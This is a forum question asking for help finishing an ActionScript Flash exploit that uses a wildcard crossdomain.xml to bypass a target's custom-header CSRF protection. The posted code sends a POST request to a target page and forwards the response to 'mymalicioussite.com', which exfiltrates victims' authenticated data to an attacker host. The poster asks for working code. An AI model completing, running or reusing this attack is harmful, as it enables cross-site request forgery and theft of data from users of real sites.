title: CSRF Bypass using ActionScript via weak CrossDomain.xml
body: <p>I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.</p>
  
  <p>This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:</p>
  
  <pre><code>package {
      import flash.display.Sprite;
      import flash.events.*;
      import flash.net.URLRequestMethod;
      import flash.net.URLRequest;
      import flash.net.URLLoader;
      import flash.net.URLVariables;
      import flash.net.URLRequestHeader;
  
      public class FlashTest extends Sprite {
  
          public function FlashTest() {
              // write as3 code here..
              //Target URL           
              var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
              var readFrom:String = "http://192.168.100.4/Target.htm";
              var readRequest:URLRequest = new URLRequest(readFrom);
              readRequest.data  = "ThisDoesNotMatter"
              readRequest.method = URLRequestMethod.POST
              readRequest.requestHeaders.push(header);
              var getLoader:URLLoader = new URLLoader();
              getLoader.addEventListener(Event.COMPLETE, eventHandler);
              try
              {
                  getLoader.load(readRequest);
              }
              catch(error:Error)
              {
  
              }
          }
  
          private function eventHandler(event:Event):void
          {
              var sendTO:String = "http://mymalicioussite.com";
              var sendRequest:URLRequest = new URLRequest(sendTO);
              sendRequest.method = URLRequestMethod.POST;
              sendRequest.data = event.target.data;
              var sendLoader:URLLoader = new URLLoader();
              try
              {
                  sendLoader.load(sendRequest);
              }
              catch(error:Error)
              {
  
              }
            }
          }
        }
  </code></pre>
  
  <p>CrossDomain.XML on the target:</p>
  
  <pre><code>    &lt;?xml version="1.0"?&gt;
  
  &lt;!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"&gt;
  &lt;cross-domain-policy&gt;
     &lt;allow-access-from domain="*" secure="true" /&gt;
  &lt;/cross-domain-policy&gt;
  </code></pre>
  
  <p>Any help would be appreciated.
  A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.</p>